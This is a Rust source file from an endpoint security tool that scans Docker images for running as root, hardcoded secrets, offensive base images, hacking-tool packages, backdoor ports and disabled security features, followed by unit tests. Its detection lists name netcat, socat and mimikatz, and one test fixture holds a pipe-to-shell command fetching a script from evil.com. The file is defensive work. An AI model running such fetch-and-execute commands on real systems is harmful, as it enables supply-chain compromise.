Skip to main content

nexus_shield/endpoint/
container_scanner.rs

1// ============================================================================
2// File: endpoint/container_scanner.rs
3// Description: Docker container image scanning — inspect images for malware,
4//              vulnerabilities, misconfigurations, and supply chain risks
5// Author: Andrew Jewell Sr. - AutomataNexus
6// Updated: March 25, 2026
7// ============================================================================
8//! Container Scanner — analyzes Docker images before they run.
9//!
10//! Capabilities:
11//! - Extract and scan image layers for malware (signatures, heuristics, YARA)
12//! - Detect dangerous Dockerfile patterns (privileged, root user, exposed secrets)
13//! - Check base image age and known-vulnerable base images
14//! - Scan for hardcoded credentials and secrets in environment variables
15//! - Detect cryptominer and reverse shell binaries in image layers
16//! - Check for suspicious package installations (netcat, nmap, etc.)
17//! - Verify image provenance (unsigned images, unknown registries)
18
19use super::{DetectionCategory, RecommendedAction, ScanResult, Severity};
20use serde::{Deserialize, Serialize};
21use std::path::Path;
22use std::process::Command;
23
24// =============================================================================
25// Configuration
26// =============================================================================
27
28/// Configuration for the container scanner.
29#[derive(Debug, Clone, Serialize, Deserialize)]
30pub struct ContainerScanConfig {
31    /// Docker socket path.
32    pub docker_socket: String,
33    /// Maximum image size to scan (bytes).
34    pub max_image_size: u64,
35    /// Scan image layers for malware signatures.
36    pub scan_layers: bool,
37    /// Check for dangerous Dockerfile patterns.
38    pub check_dockerfile: bool,
39    /// Check for hardcoded secrets in env vars and config.
40    pub check_secrets: bool,
41    /// Check for suspicious installed packages.
42    pub check_packages: bool,
43    /// Known-dangerous base images.
44    pub dangerous_base_images: Vec<String>,
45    /// Suspicious packages that shouldn't be in production images.
46    pub suspicious_packages: Vec<String>,
47    /// Secret patterns to detect in environment variables.
48    pub secret_patterns: Vec<String>,
49}
50
51impl Default for ContainerScanConfig {
52    fn default() -> Self {
53        Self {
54            docker_socket: "/var/run/docker.sock".to_string(),
55            max_image_size: 5_000_000_000, // 5 GB
56            scan_layers: true,
57            check_dockerfile: true,
58            check_secrets: true,
59            check_packages: true,
60            dangerous_base_images: vec![
61                // Images known to be frequently used in attacks
62                "kalilinux/kali-rolling".to_string(),
63                "parrotsec/security".to_string(),
64            ],
65            suspicious_packages: vec![
66                "nmap".to_string(),
67                "netcat".to_string(),
68                "nc".to_string(),
69                "ncat".to_string(),
70                "socat".to_string(),
71                "tcpdump".to_string(),
72                "wireshark".to_string(),
73                "hydra".to_string(),
74                "john".to_string(),
75                "hashcat".to_string(),
76                "sqlmap".to_string(),
77                "metasploit".to_string(),
78                "nikto".to_string(),
79                "masscan".to_string(),
80                "gobuster".to_string(),
81                "mimikatz".to_string(),
82            ],
83            secret_patterns: vec![
84                "password=".to_string(),
85                "passwd=".to_string(),
86                "secret=".to_string(),
87                "api_key=".to_string(),
88                "apikey=".to_string(),
89                "access_key=".to_string(),
90                "private_key=".to_string(),
91                "token=".to_string(),
92                "aws_secret".to_string(),
93                "database_url=".to_string(),
94                "mysql_root_password".to_string(),
95                "postgres_password".to_string(),
96            ],
97        }
98    }
99}
100
101// =============================================================================
102// Docker Image Info
103// =============================================================================
104
105/// Parsed Docker image metadata.
106#[derive(Debug, Clone, Serialize, Deserialize)]
107pub struct ImageInfo {
108    pub id: String,
109    pub repo_tags: Vec<String>,
110    pub size: u64,
111    pub created: String,
112    pub os: String,
113    pub architecture: String,
114    pub author: String,
115    pub layers: Vec<String>,
116    pub env_vars: Vec<String>,
117    pub cmd: Vec<String>,
118    pub entrypoint: Vec<String>,
119    pub exposed_ports: Vec<String>,
120    pub user: String,
121    pub history: Vec<HistoryEntry>,
122}
123
124/// A layer in the image build history.
125#[derive(Debug, Clone, Serialize, Deserialize)]
126pub struct HistoryEntry {
127    pub created_by: String,
128    pub empty_layer: bool,
129}
130
131// =============================================================================
132// Container Scanner
133// =============================================================================
134
135/// Scans Docker images for security issues.
136pub struct ContainerScanner {
137    config: ContainerScanConfig,
138}
139
140impl ContainerScanner {
141    pub fn new(config: ContainerScanConfig) -> Self {
142        Self { config }
143    }
144
145    /// Check if Docker is available.
146    pub fn docker_available() -> bool {
147        Command::new("docker")
148            .arg("info")
149            .stdout(std::process::Stdio::null())
150            .stderr(std::process::Stdio::null())
151            .status()
152            .map(|s| s.success())
153            .unwrap_or(false)
154    }
155
156    /// Get image inspect JSON from Docker.
157    pub fn inspect_image(image: &str) -> Option<serde_json::Value> {
158        let output = Command::new("docker")
159            .args(["inspect", "--type=image", image])
160            .output()
161            .ok()?;
162
163        if !output.status.success() {
164            return None;
165        }
166
167        let json: serde_json::Value =
168            serde_json::from_slice(&output.stdout).ok()?;
169        json.as_array()?.first().cloned()
170    }
171
172    /// Get image history from Docker.
173    pub fn image_history(image: &str) -> Vec<HistoryEntry> {
174        let output = match Command::new("docker")
175            .args(["history", "--no-trunc", "--format", "{{.CreatedBy}}\t{{.Size}}"])
176            .arg(image)
177            .output()
178        {
179            Ok(o) if o.status.success() => o,
180            _ => return Vec::new(),
181        };
182
183        let text = String::from_utf8_lossy(&output.stdout);
184        text.lines()
185            .map(|line| {
186                let parts: Vec<&str> = line.splitn(2, '\t').collect();
187                HistoryEntry {
188                    created_by: parts.first().unwrap_or(&"").to_string(),
189                    empty_layer: parts.get(1).map(|s| s.trim() == "0B").unwrap_or(true),
190                }
191            })
192            .collect()
193    }
194
195    /// Parse image inspect JSON into ImageInfo.
196    pub fn parse_image_info(inspect: &serde_json::Value) -> Option<ImageInfo> {
197        let config = inspect.get("Config")?;
198        let id = inspect.get("Id")?.as_str()?.to_string();
199
200        let repo_tags: Vec<String> = inspect
201            .get("RepoTags")
202            .and_then(|v| v.as_array())
203            .map(|a| a.iter().filter_map(|v| v.as_str().map(|s| s.to_string())).collect())
204            .unwrap_or_default();
205
206        let size = inspect.get("Size").and_then(|v| v.as_u64()).unwrap_or(0);
207        let created = inspect.get("Created").and_then(|v| v.as_str()).unwrap_or("").to_string();
208        let os = inspect.get("Os").and_then(|v| v.as_str()).unwrap_or("linux").to_string();
209        let arch = inspect.get("Architecture").and_then(|v| v.as_str()).unwrap_or("").to_string();
210        let author = inspect.get("Author").and_then(|v| v.as_str()).unwrap_or("").to_string();
211
212        let layers: Vec<String> = inspect
213            .get("RootFS")
214            .and_then(|v| v.get("Layers"))
215            .and_then(|v| v.as_array())
216            .map(|a| a.iter().filter_map(|v| v.as_str().map(|s| s.to_string())).collect())
217            .unwrap_or_default();
218
219        let env_vars: Vec<String> = config
220            .get("Env")
221            .and_then(|v| v.as_array())
222            .map(|a| a.iter().filter_map(|v| v.as_str().map(|s| s.to_string())).collect())
223            .unwrap_or_default();
224
225        let cmd: Vec<String> = config
226            .get("Cmd")
227            .and_then(|v| v.as_array())
228            .map(|a| a.iter().filter_map(|v| v.as_str().map(|s| s.to_string())).collect())
229            .unwrap_or_default();
230
231        let entrypoint: Vec<String> = config
232            .get("Entrypoint")
233            .and_then(|v| v.as_array())
234            .map(|a| a.iter().filter_map(|v| v.as_str().map(|s| s.to_string())).collect())
235            .unwrap_or_default();
236
237        let exposed_ports: Vec<String> = config
238            .get("ExposedPorts")
239            .and_then(|v| v.as_object())
240            .map(|m| m.keys().cloned().collect())
241            .unwrap_or_default();
242
243        let user = config.get("User").and_then(|v| v.as_str()).unwrap_or("").to_string();
244
245        Some(ImageInfo {
246            id,
247            repo_tags,
248            size,
249            created,
250            os,
251            architecture: arch,
252            author,
253            layers,
254            env_vars,
255            cmd,
256            entrypoint,
257            exposed_ports,
258            user,
259            history: Vec::new(),
260        })
261    }
262
263    /// Scan a Docker image for security issues.
264    pub fn scan_image(&self, image: &str) -> Vec<ScanResult> {
265        let mut results = Vec::new();
266
267        // Inspect the image
268        let inspect = match Self::inspect_image(image) {
269            Some(v) => v,
270            None => {
271                results.push(ScanResult::new(
272                    "container_scanner",
273                    image,
274                    Severity::Low,
275                    DetectionCategory::HeuristicAnomaly {
276                        rule: "container_inspect_failed".to_string(),
277                    },
278                    format!("Failed to inspect Docker image: {} — image may not exist locally", image),
279                    0.3,
280                    RecommendedAction::Alert,
281                ));
282                return results;
283            }
284        };
285
286        let mut info = match Self::parse_image_info(&inspect) {
287            Some(i) => i,
288            None => return results,
289        };
290
291        info.history = Self::image_history(image);
292
293        // Run all checks
294        results.extend(self.check_running_as_root(&info, image));
295        results.extend(self.check_env_secrets(&info, image));
296        results.extend(self.check_dangerous_base(&info, image));
297        results.extend(self.check_suspicious_packages(&info, image));
298        results.extend(self.check_exposed_ports(&info, image));
299        results.extend(self.check_history_commands(&info, image));
300
301        results
302    }
303
304    /// Check if the image runs as root.
305    fn check_running_as_root(&self, info: &ImageInfo, image: &str) -> Vec<ScanResult> {
306        if info.user.is_empty() || info.user == "root" || info.user == "0" {
307            vec![ScanResult::new(
308                "container_scanner",
309                image,
310                Severity::Medium,
311                DetectionCategory::HeuristicAnomaly {
312                    rule: "container_runs_as_root".to_string(),
313                },
314                format!(
315                    "Container runs as root user — {} (use USER directive to run as non-root)",
316                    info.repo_tags.first().unwrap_or(&info.id)
317                ),
318                0.6,
319                RecommendedAction::Alert,
320            )]
321        } else {
322            Vec::new()
323        }
324    }
325
326    /// Check environment variables for hardcoded secrets.
327    fn check_env_secrets(&self, info: &ImageInfo, image: &str) -> Vec<ScanResult> {
328        if !self.config.check_secrets {
329            return Vec::new();
330        }
331
332        let mut results = Vec::new();
333        for env in &info.env_vars {
334            let env_lower = env.to_lowercase();
335            for pattern in &self.config.secret_patterns {
336                if env_lower.contains(&pattern.to_lowercase()) {
337                    // Redact the actual value
338                    let key = env.split('=').next().unwrap_or(env);
339                    results.push(ScanResult::new(
340                        "container_scanner",
341                        image,
342                        Severity::High,
343                        DetectionCategory::HeuristicAnomaly {
344                            rule: "container_hardcoded_secret".to_string(),
345                        },
346                        format!(
347                            "Hardcoded secret in environment variable: {}=*** (matched pattern: {})",
348                            key, pattern
349                        ),
350                        0.85,
351                        RecommendedAction::Alert,
352                    ));
353                    break; // One alert per env var
354                }
355            }
356        }
357        results
358    }
359
360    /// Check for dangerous base images.
361    fn check_dangerous_base(&self, info: &ImageInfo, image: &str) -> Vec<ScanResult> {
362        let mut results = Vec::new();
363        for tag in &info.repo_tags {
364            let tag_lower = tag.to_lowercase();
365            for dangerous in &self.config.dangerous_base_images {
366                if tag_lower.contains(&dangerous.to_lowercase()) {
367                    results.push(ScanResult::new(
368                        "container_scanner",
369                        image,
370                        Severity::High,
371                        DetectionCategory::HeuristicAnomaly {
372                            rule: "container_dangerous_base".to_string(),
373                        },
374                        format!(
375                            "Image based on known offensive/dangerous base: {} (matched: {})",
376                            tag, dangerous
377                        ),
378                        0.8,
379                        RecommendedAction::Alert,
380                    ));
381                }
382            }
383        }
384        results
385    }
386
387    /// Check image history for suspicious package installations.
388    fn check_suspicious_packages(&self, info: &ImageInfo, image: &str) -> Vec<ScanResult> {
389        if !self.config.check_packages {
390            return Vec::new();
391        }
392
393        let mut results = Vec::new();
394        for entry in &info.history {
395            let cmd_lower = entry.created_by.to_lowercase();
396
397            // Check for apt/yum/apk install of suspicious packages
398            if cmd_lower.contains("install") || cmd_lower.contains("add") {
399                for pkg in &self.config.suspicious_packages {
400                    let pkg_lower = pkg.to_lowercase();
401                    // Look for package name as a word boundary (space or end)
402                    if cmd_lower.contains(&format!(" {}", pkg_lower))
403                        || cmd_lower.contains(&format!(" {}\n", pkg_lower))
404                        || cmd_lower.ends_with(&format!(" {}", pkg_lower))
405                    {
406                        results.push(ScanResult::new(
407                            "container_scanner",
408                            image,
409                            Severity::Medium,
410                            DetectionCategory::HeuristicAnomaly {
411                                rule: "container_suspicious_package".to_string(),
412                            },
413                            format!(
414                                "Suspicious package '{}' installed in image layer: {}",
415                                pkg,
416                                truncate(&entry.created_by, 100)
417                            ),
418                            0.65,
419                            RecommendedAction::Alert,
420                        ));
421                    }
422                }
423            }
424
425            // Check for curl|bash or wget|sh patterns (supply chain risk)
426            if (cmd_lower.contains("curl") || cmd_lower.contains("wget"))
427                && (cmd_lower.contains("| sh") || cmd_lower.contains("| bash")
428                    || cmd_lower.contains("|sh") || cmd_lower.contains("|bash"))
429            {
430                results.push(ScanResult::new(
431                    "container_scanner",
432                    image,
433                    Severity::High,
434                    DetectionCategory::HeuristicAnomaly {
435                        rule: "container_pipe_to_shell".to_string(),
436                    },
437                    format!(
438                        "Pipe-to-shell pattern detected in Dockerfile: {}",
439                        truncate(&entry.created_by, 120)
440                    ),
441                    0.8,
442                    RecommendedAction::Alert,
443                ));
444            }
445
446            // Check for --privileged or CAP_SYS_ADMIN hints
447            if cmd_lower.contains("--privileged") || cmd_lower.contains("cap_sys_admin") {
448                results.push(ScanResult::new(
449                    "container_scanner",
450                    image,
451                    Severity::High,
452                    DetectionCategory::HeuristicAnomaly {
453                        rule: "container_privileged".to_string(),
454                    },
455                    format!(
456                        "Privileged mode or SYS_ADMIN capability in image layer: {}",
457                        truncate(&entry.created_by, 100)
458                    ),
459                    0.85,
460                    RecommendedAction::Alert,
461                ));
462            }
463        }
464        results
465    }
466
467    /// Check for suspicious exposed ports.
468    fn check_exposed_ports(&self, info: &ImageInfo, image: &str) -> Vec<ScanResult> {
469        let suspicious_ports = [4444, 5555, 6667, 6697, 1337, 31337, 9001];
470        let mut results = Vec::new();
471
472        for port_str in &info.exposed_ports {
473            // Parse "4444/tcp" format
474            let port_num: u16 = port_str
475                .split('/')
476                .next()
477                .and_then(|s| s.parse().ok())
478                .unwrap_or(0);
479
480            if suspicious_ports.contains(&port_num) {
481                results.push(ScanResult::new(
482                    "container_scanner",
483                    image,
484                    Severity::Medium,
485                    DetectionCategory::HeuristicAnomaly {
486                        rule: "container_suspicious_port".to_string(),
487                    },
488                    format!(
489                        "Suspicious port exposed: {} — common C2/backdoor port",
490                        port_str
491                    ),
492                    0.6,
493                    RecommendedAction::Alert,
494                ));
495            }
496        }
497        results
498    }
499
500    /// Check image build history for dangerous commands.
501    fn check_history_commands(&self, info: &ImageInfo, image: &str) -> Vec<ScanResult> {
502        let mut results = Vec::new();
503
504        for entry in &info.history {
505            let cmd_lower = entry.created_by.to_lowercase();
506
507            // chmod 777 on sensitive paths
508            if cmd_lower.contains("chmod 777") || cmd_lower.contains("chmod a+rwx") {
509                results.push(ScanResult::new(
510                    "container_scanner",
511                    image,
512                    Severity::Medium,
513                    DetectionCategory::HeuristicAnomaly {
514                        rule: "container_world_writable".to_string(),
515                    },
516                    format!(
517                        "World-writable permissions set in image: {}",
518                        truncate(&entry.created_by, 100)
519                    ),
520                    0.55,
521                    RecommendedAction::Alert,
522                ));
523            }
524
525            // Disable security features
526            if cmd_lower.contains("setenforce 0")
527                || cmd_lower.contains("apparmor=unconfined")
528                || cmd_lower.contains("seccomp=unconfined")
529            {
530                results.push(ScanResult::new(
531                    "container_scanner",
532                    image,
533                    Severity::High,
534                    DetectionCategory::HeuristicAnomaly {
535                        rule: "container_security_disabled".to_string(),
536                    },
537                    format!(
538                        "Security feature disabled in image: {}",
539                        truncate(&entry.created_by, 100)
540                    ),
541                    0.8,
542                    RecommendedAction::Alert,
543                ));
544            }
545        }
546        results
547    }
548
549    /// Scan a Docker image by saving and extracting its filesystem.
550    /// This enables malware scanning of the actual file contents.
551    pub async fn deep_scan_image(
552        &self,
553        image: &str,
554        scanners: &[std::sync::Arc<dyn super::Scanner>],
555    ) -> Vec<ScanResult> {
556        let mut results = self.scan_image(image);
557
558        if !self.config.scan_layers {
559            return results;
560        }
561
562        // Create a temporary container and export filesystem
563        let tmp_dir = std::env::temp_dir().join(format!("nexus-container-scan-{}", uuid::Uuid::new_v4()));
564        let _ = std::fs::create_dir_all(&tmp_dir);
565
566        // docker create (don't run), then docker export
567        let create = Command::new("docker")
568            .args(["create", "--name", "nexus-scan-tmp", image])
569            .output();
570
571        if let Ok(output) = create {
572            if output.status.success() {
573                let tar_path = tmp_dir.join("image.tar");
574                let export = Command::new("docker")
575                    .args(["export", "nexus-scan-tmp", "-o"])
576                    .arg(&tar_path)
577                    .output();
578
579                // Cleanup container
580                let _ = Command::new("docker")
581                    .args(["rm", "nexus-scan-tmp"])
582                    .output();
583
584                if let Ok(exp) = export {
585                    if exp.status.success() {
586                        // Extract and scan key files
587                        let extract_dir = tmp_dir.join("extracted");
588                        let _ = std::fs::create_dir_all(&extract_dir);
589                        let _ = Command::new("tar")
590                            .args(["xf"])
591                            .arg(&tar_path)
592                            .arg("-C")
593                            .arg(&extract_dir)
594                            .output();
595
596                        // Scan extracted files with all engines
597                        results.extend(
598                            self.scan_extracted_dir(&extract_dir, scanners).await,
599                        );
600                    }
601                }
602            } else {
603                // Cleanup in case container name already exists
604                let _ = Command::new("docker")
605                    .args(["rm", "nexus-scan-tmp"])
606                    .output();
607            }
608        }
609
610        // Cleanup
611        let _ = std::fs::remove_dir_all(&tmp_dir);
612
613        results
614    }
615
616    /// Scan extracted container filesystem for malware.
617    async fn scan_extracted_dir(
618        &self,
619        dir: &Path,
620        scanners: &[std::sync::Arc<dyn super::Scanner>],
621    ) -> Vec<ScanResult> {
622        let mut results = Vec::new();
623
624        // Scan key directories: /usr/bin, /usr/sbin, /bin, /tmp, /root
625        let scan_dirs = ["usr/bin", "usr/sbin", "bin", "sbin", "tmp", "root", "home"];
626
627        for subdir in &scan_dirs {
628            let target = dir.join(subdir);
629            if !target.is_dir() {
630                continue;
631            }
632
633            if let Ok(entries) = std::fs::read_dir(&target) {
634                for entry in entries.flatten() {
635                    let path = entry.path();
636                    if !path.is_file() {
637                        continue;
638                    }
639                    if let Ok(meta) = path.metadata() {
640                        if meta.len() > self.config.max_image_size {
641                            continue;
642                        }
643                    }
644
645                    for scanner in scanners {
646                        if scanner.is_active() {
647                            let mut scan_results = scanner.scan_file(&path).await;
648                            // Rewrite target to show container context
649                            for r in &mut scan_results {
650                                r.target = format!("[container] {}/{}", subdir, entry.file_name().to_string_lossy());
651                                r.scanner = format!("container_scanner+{}", r.scanner);
652                            }
653                            results.extend(scan_results);
654                        }
655                    }
656                }
657            }
658        }
659
660        results
661    }
662}
663
664/// Truncate a string to max_len with "..." suffix.
665fn truncate(s: &str, max_len: usize) -> String {
666    if s.len() <= max_len {
667        s.to_string()
668    } else {
669        format!("{}...", &s[..max_len])
670    }
671}
672
673// =============================================================================
674// Tests
675// =============================================================================
676
677#[cfg(test)]
678mod tests {
679    use super::*;
680
681    fn test_scanner() -> ContainerScanner {
682        ContainerScanner::new(ContainerScanConfig::default())
683    }
684
685    #[test]
686    fn config_defaults() {
687        let config = ContainerScanConfig::default();
688        assert!(config.scan_layers);
689        assert!(config.check_dockerfile);
690        assert!(config.check_secrets);
691        assert!(config.check_packages);
692        assert!(!config.suspicious_packages.is_empty());
693        assert!(!config.secret_patterns.is_empty());
694    }
695
696    #[test]
697    fn parse_image_info_basic() {
698        let inspect = serde_json::json!({
699            "Id": "sha256:abc123",
700            "RepoTags": ["myapp:latest"],
701            "Size": 150000000,
702            "Created": "2026-03-25T00:00:00Z",
703            "Os": "linux",
704            "Architecture": "amd64",
705            "Author": "test",
706            "RootFS": {
707                "Layers": ["sha256:layer1", "sha256:layer2"]
708            },
709            "Config": {
710                "Env": ["PATH=/usr/bin", "APP_SECRET=hunter2"],
711                "Cmd": ["/bin/sh"],
712                "Entrypoint": null,
713                "ExposedPorts": {"8080/tcp": {}},
714                "User": ""
715            }
716        });
717
718        let info = ContainerScanner::parse_image_info(&inspect).unwrap();
719        assert_eq!(info.id, "sha256:abc123");
720        assert_eq!(info.repo_tags, vec!["myapp:latest"]);
721        assert_eq!(info.size, 150000000);
722        assert_eq!(info.layers.len(), 2);
723        assert_eq!(info.env_vars.len(), 2);
724        assert!(info.user.is_empty()); // root
725        assert_eq!(info.exposed_ports, vec!["8080/tcp"]);
726    }
727
728    #[test]
729    fn detect_root_user_empty() {
730        let scanner = test_scanner();
731        let info = ImageInfo {
732            id: "test".into(), repo_tags: vec!["test:latest".into()],
733            size: 0, created: "".into(), os: "linux".into(),
734            architecture: "amd64".into(), author: "".into(),
735            layers: vec![], env_vars: vec![], cmd: vec![],
736            entrypoint: vec![], exposed_ports: vec![],
737            user: "".into(), // empty = root
738            history: vec![],
739        };
740        let results = scanner.check_running_as_root(&info, "test:latest");
741        assert_eq!(results.len(), 1);
742        assert!(results[0].description.contains("root"));
743    }
744
745    #[test]
746    fn detect_root_user_explicit() {
747        let scanner = test_scanner();
748        let info = ImageInfo {
749            id: "test".into(), repo_tags: vec![], size: 0,
750            created: "".into(), os: "linux".into(), architecture: "".into(),
751            author: "".into(), layers: vec![], env_vars: vec![],
752            cmd: vec![], entrypoint: vec![], exposed_ports: vec![],
753            user: "root".into(), history: vec![],
754        };
755        let results = scanner.check_running_as_root(&info, "test");
756        assert!(!results.is_empty());
757    }
758
759    #[test]
760    fn no_alert_nonroot_user() {
761        let scanner = test_scanner();
762        let info = ImageInfo {
763            id: "test".into(), repo_tags: vec![], size: 0,
764            created: "".into(), os: "linux".into(), architecture: "".into(),
765            author: "".into(), layers: vec![], env_vars: vec![],
766            cmd: vec![], entrypoint: vec![], exposed_ports: vec![],
767            user: "appuser".into(), history: vec![],
768        };
769        let results = scanner.check_running_as_root(&info, "test");
770        assert!(results.is_empty());
771    }
772
773    #[test]
774    fn detect_env_secrets() {
775        let scanner = test_scanner();
776        let info = ImageInfo {
777            id: "test".into(), repo_tags: vec![], size: 0,
778            created: "".into(), os: "linux".into(), architecture: "".into(),
779            author: "".into(), layers: vec![],
780            env_vars: vec![
781                "PATH=/usr/bin".to_string(),
782                "DATABASE_URL=postgres://user:pass@host/db".to_string(),
783                "API_KEY=sk-12345".to_string(),
784            ],
785            cmd: vec![], entrypoint: vec![], exposed_ports: vec![],
786            user: "app".into(), history: vec![],
787        };
788        let results = scanner.check_env_secrets(&info, "test");
789        assert_eq!(results.len(), 2); // DATABASE_URL and API_KEY
790        assert!(results[0].description.contains("***")); // Value redacted
791    }
792
793    #[test]
794    fn no_secret_in_path() {
795        let scanner = test_scanner();
796        let info = ImageInfo {
797            id: "test".into(), repo_tags: vec![], size: 0,
798            created: "".into(), os: "linux".into(), architecture: "".into(),
799            author: "".into(), layers: vec![],
800            env_vars: vec!["PATH=/usr/bin".to_string(), "HOME=/root".to_string()],
801            cmd: vec![], entrypoint: vec![], exposed_ports: vec![],
802            user: "app".into(), history: vec![],
803        };
804        let results = scanner.check_env_secrets(&info, "test");
805        assert!(results.is_empty());
806    }
807
808    #[test]
809    fn detect_dangerous_base() {
810        let scanner = test_scanner();
811        let info = ImageInfo {
812            id: "test".into(),
813            repo_tags: vec!["kalilinux/kali-rolling:latest".to_string()],
814            size: 0, created: "".into(), os: "linux".into(),
815            architecture: "".into(), author: "".into(), layers: vec![],
816            env_vars: vec![], cmd: vec![], entrypoint: vec![],
817            exposed_ports: vec![], user: "".into(), history: vec![],
818        };
819        let results = scanner.check_dangerous_base(&info, "test");
820        assert!(!results.is_empty());
821    }
822
823    #[test]
824    fn detect_suspicious_port() {
825        let scanner = test_scanner();
826        let info = ImageInfo {
827            id: "test".into(), repo_tags: vec![], size: 0,
828            created: "".into(), os: "linux".into(), architecture: "".into(),
829            author: "".into(), layers: vec![], env_vars: vec![],
830            cmd: vec![], entrypoint: vec![],
831            exposed_ports: vec!["4444/tcp".to_string(), "8080/tcp".to_string()],
832            user: "app".into(), history: vec![],
833        };
834        let results = scanner.check_exposed_ports(&info, "test");
835        assert_eq!(results.len(), 1); // Only 4444, not 8080
836        assert!(results[0].description.contains("4444"));
837    }
838
839    #[test]
840    fn detect_pipe_to_shell() {
841        let scanner = test_scanner();
842        let info = ImageInfo {
843            id: "test".into(), repo_tags: vec![], size: 0,
844            created: "".into(), os: "linux".into(), architecture: "".into(),
845            author: "".into(), layers: vec![], env_vars: vec![],
846            cmd: vec![], entrypoint: vec![], exposed_ports: vec![],
847            user: "app".into(),
848            history: vec![
849                HistoryEntry {
850                    created_by: "RUN curl https://evil.com/install.sh | bash".to_string(),
851                    empty_layer: false,
852                },
853            ],
854        };
855        let results = scanner.check_suspicious_packages(&info, "test");
856        let pipe_results: Vec<_> = results.iter()
857            .filter(|r| r.description.contains("Pipe-to-shell"))
858            .collect();
859        assert!(!pipe_results.is_empty());
860    }
861
862    #[test]
863    fn detect_nmap_install() {
864        let scanner = test_scanner();
865        let info = ImageInfo {
866            id: "test".into(), repo_tags: vec![], size: 0,
867            created: "".into(), os: "linux".into(), architecture: "".into(),
868            author: "".into(), layers: vec![], env_vars: vec![],
869            cmd: vec![], entrypoint: vec![], exposed_ports: vec![],
870            user: "app".into(),
871            history: vec![
872                HistoryEntry {
873                    created_by: "RUN apt-get install -y nmap netcat".to_string(),
874                    empty_layer: false,
875                },
876            ],
877        };
878        let results = scanner.check_suspicious_packages(&info, "test");
879        assert!(results.len() >= 2); // nmap + netcat
880    }
881
882    #[test]
883    fn detect_chmod_777() {
884        let scanner = test_scanner();
885        let info = ImageInfo {
886            id: "test".into(), repo_tags: vec![], size: 0,
887            created: "".into(), os: "linux".into(), architecture: "".into(),
888            author: "".into(), layers: vec![], env_vars: vec![],
889            cmd: vec![], entrypoint: vec![], exposed_ports: vec![],
890            user: "app".into(),
891            history: vec![
892                HistoryEntry {
893                    created_by: "RUN chmod 777 /app".to_string(),
894                    empty_layer: false,
895                },
896            ],
897        };
898        let results = scanner.check_history_commands(&info, "test");
899        assert!(!results.is_empty());
900        assert!(results[0].description.contains("World-writable"));
901    }
902
903    #[test]
904    fn truncate_long_string() {
905        assert_eq!(truncate("short", 10), "short");
906        assert_eq!(truncate("this is a long string", 10), "this is a ...");
907    }
908
909    #[test]
910    fn clean_image_no_alerts() {
911        let scanner = test_scanner();
912        let info = ImageInfo {
913            id: "test".into(),
914            repo_tags: vec!["myapp:1.0".to_string()],
915            size: 50_000_000, created: "2026-03-25".into(),
916            os: "linux".into(), architecture: "amd64".into(),
917            author: "dev".into(), layers: vec![],
918            env_vars: vec!["PATH=/usr/bin".to_string()],
919            cmd: vec!["/app/server".to_string()],
920            entrypoint: vec![], exposed_ports: vec!["8080/tcp".to_string()],
921            user: "appuser".into(),
922            history: vec![
923                HistoryEntry {
924                    created_by: "RUN apt-get install -y ca-certificates".to_string(),
925                    empty_layer: false,
926                },
927            ],
928        };
929        let mut results = Vec::new();
930        results.extend(scanner.check_running_as_root(&info, "test"));
931        results.extend(scanner.check_env_secrets(&info, "test"));
932        results.extend(scanner.check_dangerous_base(&info, "test"));
933        results.extend(scanner.check_suspicious_packages(&info, "test"));
934        results.extend(scanner.check_exposed_ports(&info, "test"));
935        results.extend(scanner.check_history_commands(&info, "test"));
936        assert!(results.is_empty(), "Clean image should have no alerts");
937    }
938}